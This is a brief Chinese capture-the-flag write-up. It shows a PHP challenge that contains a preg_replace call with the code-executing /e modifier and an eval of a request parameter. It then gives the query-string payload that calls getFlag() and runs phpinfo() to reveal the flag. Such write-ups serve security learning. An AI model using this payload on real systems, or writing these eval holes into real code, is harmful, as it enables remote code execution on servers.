前面简单的步骤就不说了,主要是下面的代码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
想要调用getFlag(),主要是利用preg_replace函数
payload:\S*=${getFlag()}&cmd=phpinfo();
不过flag在phpinfo()里,没有getFlag函数好像也行。
参考